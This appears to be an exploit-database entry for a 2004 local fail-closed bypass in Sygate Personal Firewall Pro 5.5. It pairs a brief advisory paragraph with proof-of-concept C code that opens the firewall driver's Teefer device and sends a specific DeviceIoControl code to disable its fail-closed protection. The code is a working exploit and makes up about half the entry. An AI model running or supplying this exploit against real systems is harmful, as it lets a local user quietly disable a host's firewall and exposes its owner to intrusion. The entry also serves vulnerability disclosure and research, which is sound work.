Sygate Personal Firewall Pro 5.5 - Local Fail-Close Bypass

Author: Tan Chew Keong
type: local
platform: windows
port: 
date_added: 2004-06-14 
date_updated: 2013-01-18 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/10540/info

A vulnerability is reported to affect the Sygate Personal Firewall fail-closed functionality. It is reported that the kernel-space NDIS driver does not verify the origin of messages that are received through the associated device. As a result of this it is possible for a local user to transmit a message to the kernel-space NDIS driver device in order to disable the firewall fail-closed functionality.

A local attacker may exploit this condition to disable the affected firewall completely.


	hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
			 NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

 	if(hDevice == INVALID_HANDLE_VALUE)
	{
		printf("Open failed\n");
	}
	else
	{
		printf("Device opened.\n");

		char buffer[8];
		DWORD *ptr = (DWORD *)buffer;
		DWORD *ptr2 = (DWORD *)(buffer + 4);
		DWORD ret;

		*ptr = 0;
		*ptr2 = 0;

		if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8, &ret, 0))
			printf("Sent.\n");

		CloseHandle(hDevice);
	}